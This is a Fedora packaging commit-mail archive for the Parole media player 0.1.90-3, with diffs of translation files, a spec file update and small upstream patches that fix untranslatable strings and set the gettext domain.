+msgstr "Zobrazovanie ikony v oznamovacej oblasti"
 
 #. Construct function
 #: ../plugins/window-title/window-title.c:102
diff -Nur parole-0.1.90.orig/po/tr.po parole-0.1.90/po/tr.po
--- parole-0.1.90.orig/po/tr.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/tr.po	2009-10-22 19:41:13.000000000 +0200
@@ -2,7 +2,7 @@
 msgstr ""
 "Project-Id-Version: Parole Media Player Turkish Translation\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: \n"
 "Last-Translator: Samed Beyribey <ras0ir at eventualis.org>\n"
 "Language-Team: Xfce-TR <xfce-tr at googlegroups.com>\n"
@@ -111,6 +111,11 @@
 msgstr "_Ortam"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "Konum a?..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_G?r?n?m"
 
@@ -127,15 +132,24 @@
 msgstr "<b>Site:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "Ortam Oynat?c? Ayarlar?"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "Parole Eklenti Se?enekleri"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "Eklentiler"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>Ses</b>"
@@ -394,6 +408,11 @@
 msgid "Paused"
 msgstr "Durdurulmu?"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "Oynat?lan Par?a"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "Canl? yay?n:"
diff -Nur parole-0.1.90.orig/po/uk.po parole-0.1.90/po/uk.po
--- parole-0.1.90.orig/po/uk.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/uk.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,7 +7,7 @@
 msgstr ""
 "Project-Id-Version: uk\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: 2009-08-30 20:32+0300\n"
 "Last-Translator: Motsyo Gennadi <drool at altlinux.ru>\n"
 "Language-Team: Ukrainian\n"
@@ -117,6 +117,11 @@
 msgstr "_?????"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "???????? ????????????????..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_??????"
 
@@ -133,15 +138,24 @@
 msgstr "<b>????:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "???????????? ??????????"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "??????????? ????????"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "???????"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>????</b>"
@@ -391,6 +405,11 @@
 msgid "Paused"
 msgstr "?????"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "????????????? ????"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "?????:"


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/parole.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- parole.spec	9 Oct 2009 08:42:18 -0000	1.1
+++ parole.spec	22 Oct 2009 18:15:05 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           parole
 Version:        0.1.90
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
@@ -9,17 +9,12 @@ URL:            http://goodies.xfce.org/
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
 # http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
 Patch0:         parole-0.1.90-fix-website-url.patch
-# the following patches are just translation updates
-# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
-Patch1:         parole-0.1.90-update-japanese-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
-Patch2:         parole-0.1.90-include-galician-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
-Patch3:         parole-0.1.90-update-asturian-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
-Patch4:         parole-0.1.90-include-french-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
-Patch5:         parole-0.1.90-include-german-translation.patch
+# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
+Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
+# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
+Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
+# created from updated translations from git
+Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -63,11 +58,10 @@ The %{name}-devel package contains heade
 %prep
 %setup -q
 %patch0 -p1 -b .orig
-%patch1 -p1
-%patch2 -p1
+%patch1 -p1 -b .untranslatable
+%patch2 -p1 -b .gettext
 %patch3 -p1
-%patch4 -p1
-%patch5 -p1
+
 # fix desktop file
 sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
@@ -128,6 +122,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
+- Set locale before loading the GtkBuilder interface definition for dialogs
+- Translation updates
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
 - BuildRequire taglib-devel and fix libnotify requirement
 


--- parole-0.1.90-include-french-translation.patch DELETED ---


--- parole-0.1.90-include-galician-translation.patch DELETED ---


--- parole-0.1.90-include-german-translation.patch DELETED ---


--- parole-0.1.90-update-asturian-translation.patch DELETED ---


--- parole-0.1.90-update-japanese-translation.patch DELETED ---



From cwickert at fedoraproject.org  Thu Oct 22 18:15:05 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 22 Oct 2009 18:15:05 +0000 (UTC)
Subject: rpms/parole/F-12 parole-0.1.90-fix-untranslatable-strings.patch,
	NONE, 1.1 parole-0.1.90-set-correct-gettext-domain.patch, NONE,
	1.1 parole-0.1.90-translations.patch, NONE, 1.1 parole.spec, 1.1,
	1.2 parole-0.1.90-include-french-translation.patch, 1.1,
	NONE parole-0.1.90-include-galician-translation.patch, 1.1,
	NONE parole-0.1.90-include-german-translation.patch, 1.1,
	NONE parole-0.1.90-update-asturian-translation.patch, 1.1,
	NONE parole-0.1.90-update-japanese-translation.patch, 1.1, NONE
Message-ID: <20091022181505.C6AD711C008C@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28497/F-12

Modified Files:
	parole.spec 
Added Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Removed Files:
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
- Set locale before loading the GtkBuilder interface definition for dialogs
- Translation updates


parole-0.1.90-fix-untranslatable-strings.patch:
 data/interfaces/parole.ui  |    2 +-
 data/interfaces/plugins.ui |    4 ++--
 parole/parole-statusbar.c  |    2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE parole-0.1.90-fix-untranslatable-strings.patch ---
>From 795a28c9be6e6c3556a10f0064c75de639fedf7f Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Tue, 06 Oct 2009 15:54:56 +0000
Subject: Fix some untranslatable strings

---
diff --git a/data/interfaces/parole.ui b/data/interfaces/parole.ui
index 6fe1f24..6137bbf 100644
--- a/data/interfaces/parole.ui
+++ b/data/interfaces/parole.ui
@@ -38,7 +38,7 @@
                     </child>
                     <child>
                       <object class="GtkImageMenuItem" id="menu-open-location">
-                        <property name="label">_Open location</property>
+                        <property name="label" translatable="yes">_Open location</property>
                         <property name="visible">True</property>
                         <property name="use_underline">True</property>
                         <property name="image">image5</property>
diff --git a/data/interfaces/plugins.ui b/data/interfaces/plugins.ui
index 3253620..70df469 100644
--- a/data/interfaces/plugins.ui
+++ b/data/interfaces/plugins.ui
@@ -50,7 +50,7 @@
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn1">
                         <property name="resizable">True</property>
-                        <property name="title">Enabled</property>
+                        <property name="title" translatable="yes">Enabled</property>
                         <property name="clickable">True</property>
                         <child>
                           <object class="GtkCellRendererToggle" id="cellrenderertoggle">
@@ -64,7 +64,7 @@
                     </child>
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn2">
-                        <property name="title">Plugin</property>
+                        <property name="title" translatable="yes">Plugin</property>
                         <child>
                           <object class="GtkCellRendererText" id="cellrenderertext1"/>
                           <attributes>
diff --git a/parole/parole-statusbar.c b/parole/parole-statusbar.c
index b75cda5..9563b09 100644
--- a/parole/parole-statusbar.c
+++ b/parole/parole-statusbar.c
@@ -85,7 +85,7 @@ parole_statusbar_set_duration (ParoleStatusbar *bar, ParoleState state, gdouble
 	if ( bar->priv->duration != 0)
 	{
 	    text = g_strdup_printf ("%s %4.2f/%4.2f", 
-				    state == PAROLE_STATE_PAUSED ? _("Paused") : ("Playing"), position, bar->priv->duration);
+				    state == PAROLE_STATE_PAUSED ? _("Paused") : _("Playing"), position, bar->priv->duration);
 	}
 	if ( text )
 	{

parole-0.1.90-set-correct-gettext-domain.patch:
 parole-builder.c |   31 +++++++++++--------------------
 parole-builder.h |    3 ---
 2 files changed, 11 insertions(+), 23 deletions(-)

--- NEW FILE parole-0.1.90-set-correct-gettext-domain.patch ---
>From 80a358e16a7933529c70e5982bc7ad0774109580 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 21 Oct 2009 10:15:51 +0000
Subject: Set the locale before loading the GtkBuilder interface definition for the dialogs

---
diff --git a/parole/parole-builder.c b/parole/parole-builder.c
index 926144a..43179ea 100644
--- a/parole/parole-builder.c
+++ b/parole/parole-builder.c
@@ -26,6 +26,8 @@
 #include <stdlib.h>
 #include <string.h>
 
+#include <libxfce4util/libxfce4util.h>
+
 #include "interfaces/parole_ui.h"
 #include "parole-builder.h"
 
@@ -47,32 +49,21 @@ parole_builder_get_main_interface (void)
     return GTK_BUILDER (parole_builder_object);
 }
 
-GtkBuilder *parole_builder_new_from_file (const gchar *file)
-{
-    GtkBuilder *builder;
-    GError *error = NULL;
-
-    builder = gtk_builder_new ();
-    
-    gtk_builder_add_from_file (GTK_BUILDER (builder),
-			       file,
-			       &error);
-			       
-    if ( error )
-    {
-	g_critical ("%s", error->message);
-	g_error_free (error);
-    }
-    
-    return builder;
-}
-
 GtkBuilder *parole_builder_new_from_string (const gchar *ui, gsize length)
 {
     GError *error = NULL;
     GtkBuilder *builder;
     
     builder = gtk_builder_new ();
+
+    /*
+     * Set the locale before loading the GtkBuilder interface definition
+     * probably this will be fixed in libxfce4util's side so keep a version 
+     * check.
+     */
+#if LIBXFCE4UTIL_CHECK_VERSION (4, 6, 1)
+    xfce_textdomain (GETTEXT_PACKAGE, LOCALEDIR, "UTF-8");
+#endif
     
     gtk_builder_add_from_string (builder, ui, length, &error);
     
diff --git a/parole/parole-builder.h b/parole/parole-builder.h
index 4411f22..3f0cbf0 100644
--- a/parole/parole-builder.h
+++ b/parole/parole-builder.h
@@ -28,8 +28,6 @@ G_BEGIN_DECLS
 
 GtkBuilder       	       *parole_builder_get_main_interface       (void);
 
-GtkBuilder		       *parole_builder_new_from_file   		(const gchar *file);
-
 GtkBuilder		       *parole_builder_new_from_string 		(const gchar *ui,
 									 gsize length);
 
--
cgit v0.8.2.1

parole-0.1.90-translations.patch:
 LINGUAS |    2 
 ast.po  |  110 ++++-----
 ca.po   |  736 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 da.po   |  114 +++++----
 de.po   |  750 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 es.po   |  148 ++++++------
 fr.po   |  724 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 gl.po   |  720 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 id.po   |   23 +
 ja.po   |   60 +++--
 lv.po   |  731 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 nl.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 pt.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ru.po   |  105 +++++---
 sk.po   |   59 ++--
 tr.po   |   23 +
 uk.po   |   23 +
 17 files changed, 5562 insertions(+), 282 deletions(-)

--- NEW FILE parole-0.1.90-translations.patch ---
diff -Nur parole-0.1.90.orig/po/ast.po parole-0.1.90/po/ast.po
--- parole-0.1.90.orig/po/ast.po	2009-10-06 12:11:39.000000000 +0200
+++ parole-0.1.90/po/ast.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,8 +7,8 @@
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-14 19:53+0000\n"
+"PO-Revision-Date: 2009-10-20 22:22+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,9 @@
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-about.c:52
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +75,8 @@
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -119,6 +122,10 @@
 msgstr "_Media"
 
 #: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Abrir llugar..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_Ver"
 
@@ -135,14 +142,20 @@
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
-msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgid "Enabled"
+msgstr "Activ?u"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
+msgid "Media Player plugins"
+msgstr "Plugins del Reproductor de Medios"
+
+#: ../data/interfaces/plugins.ui.h:6
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +252,39 @@
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -284,27 +294,20 @@
 msgid "Media to play"
 msgstr "Mediu a reproducir"
 
-#: ../parole/main.c:231
+#: ../parole/main.c:233
 #, c-format
 msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +333,10 @@
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +379,16 @@
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
[...6621 lines suppressed...]
 msgid "Clear history"
@@ -617,12 +611,12 @@
 #: ../parole/parole-disc-menu.c:194
 #, c-format
 msgid "Track %i"
-msgstr ""
+msgstr "Skladba %i"
 
 #: ../parole/parole-plugins-manager.c:227
 #: ../parole/parole-plugins-manager.c:285
 msgid "Visit Website"
-msgstr ""
+msgstr "Nav?t?vi? webov? str?nku"
 
 #: ../plugins/properties/stream-properties.c:121
 #: ../plugins/properties/stream-properties.c:122
@@ -649,7 +643,7 @@
 
 #: ../plugins/properties/stream-properties.c:307
 msgid "General"
-msgstr ""
+msgstr "V?eobcen?"
 
 #: ../plugins/properties/stream-properties.c:354
 msgid "Stream doesn't support tags changes"
@@ -679,7 +673,7 @@
 
 #: ../plugins/tray/tray-icon.c:373
 msgid "Tray icon plugin"
-msgstr ""
+msgstr "Modul ikony v oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:383
 msgid "Enable notification"
@@ -687,34 +681,33 @@
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "V?dy minimalizova? to oznamovacej oblasti, pri zavret? okna"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Naozaj chcete ukon?i? Parole"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Zapam?ta? zoznam skladieb"
+msgstr "Zapam?ta? m?j v?ber"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
 msgid "Tray icon"
-msgstr ""
+msgstr "Ikona v oznamovacej oblasti"
 
 #. Title
 #: ../plugins/tray/tray-icon.c:545
 msgid "Show icon in the system tray"
-msgstr ""
+msgstr "Zobrazovanie ikony v oznamovacej oblasti"
 
 #. Construct function
 #: ../plugins/window-title/window-title.c:102
diff -Nur parole-0.1.90.orig/po/tr.po parole-0.1.90/po/tr.po
--- parole-0.1.90.orig/po/tr.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/tr.po	2009-10-22 19:41:13.000000000 +0200
@@ -2,7 +2,7 @@
 msgstr ""
 "Project-Id-Version: Parole Media Player Turkish Translation\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: \n"
 "Last-Translator: Samed Beyribey <ras0ir at eventualis.org>\n"
 "Language-Team: Xfce-TR <xfce-tr at googlegroups.com>\n"
@@ -111,6 +111,11 @@
 msgstr "_Ortam"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "Konum a?..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_G?r?n?m"
 
@@ -127,15 +132,24 @@
 msgstr "<b>Site:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "Ortam Oynat?c? Ayarlar?"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "Parole Eklenti Se?enekleri"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "Eklentiler"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>Ses</b>"
@@ -394,6 +408,11 @@
 msgid "Paused"
 msgstr "Durdurulmu?"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "Oynat?lan Par?a"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "Canl? yay?n:"
diff -Nur parole-0.1.90.orig/po/uk.po parole-0.1.90/po/uk.po
--- parole-0.1.90.orig/po/uk.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/uk.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,7 +7,7 @@
 msgstr ""
 "Project-Id-Version: uk\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: 2009-08-30 20:32+0300\n"
 "Last-Translator: Motsyo Gennadi <drool at altlinux.ru>\n"
 "Language-Team: Ukrainian\n"
@@ -117,6 +117,11 @@
 msgstr "_?????"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "???????? ????????????????..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_??????"
 
@@ -133,15 +138,24 @@
 msgstr "<b>????:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "???????????? ??????????"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "??????????? ????????"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "???????"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>????</b>"
@@ -391,6 +405,11 @@
 msgid "Paused"
 msgstr "?????"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "????????????? ????"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "?????:"


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-12/parole.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- parole.spec	9 Oct 2009 08:42:16 -0000	1.1
+++ parole.spec	22 Oct 2009 18:15:05 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           parole
 Version:        0.1.90
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
@@ -9,17 +9,12 @@ URL:            http://goodies.xfce.org/
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
 # http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
 Patch0:         parole-0.1.90-fix-website-url.patch
-# the following patches are just translation updates
-# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
-Patch1:         parole-0.1.90-update-japanese-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
-Patch2:         parole-0.1.90-include-galician-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
-Patch3:         parole-0.1.90-update-asturian-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
-Patch4:         parole-0.1.90-include-french-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
-Patch5:         parole-0.1.90-include-german-translation.patch
+# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
+Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
+# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
+Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
+# created from updated translations from git
+Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -63,11 +58,10 @@ The %{name}-devel package contains heade
 %prep
 %setup -q
 %patch0 -p1 -b .orig
-%patch1 -p1
-%patch2 -p1
+%patch1 -p1 -b .untranslatable
+%patch2 -p1 -b .gettext
 %patch3 -p1
-%patch4 -p1
-%patch5 -p1
+
 # fix desktop file
 sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
@@ -128,6 +122,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
+- Set locale before loading the GtkBuilder interface definition for dialogs
+- Translation updates
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
 - BuildRequire taglib-devel and fix libnotify requirement
 


--- parole-0.1.90-include-french-translation.patch DELETED ---


--- parole-0.1.90-include-galician-translation.patch DELETED ---


--- parole-0.1.90-include-german-translation.patch DELETED ---


--- parole-0.1.90-update-asturian-translation.patch DELETED ---


--- parole-0.1.90-update-japanese-translation.patch DELETED ---



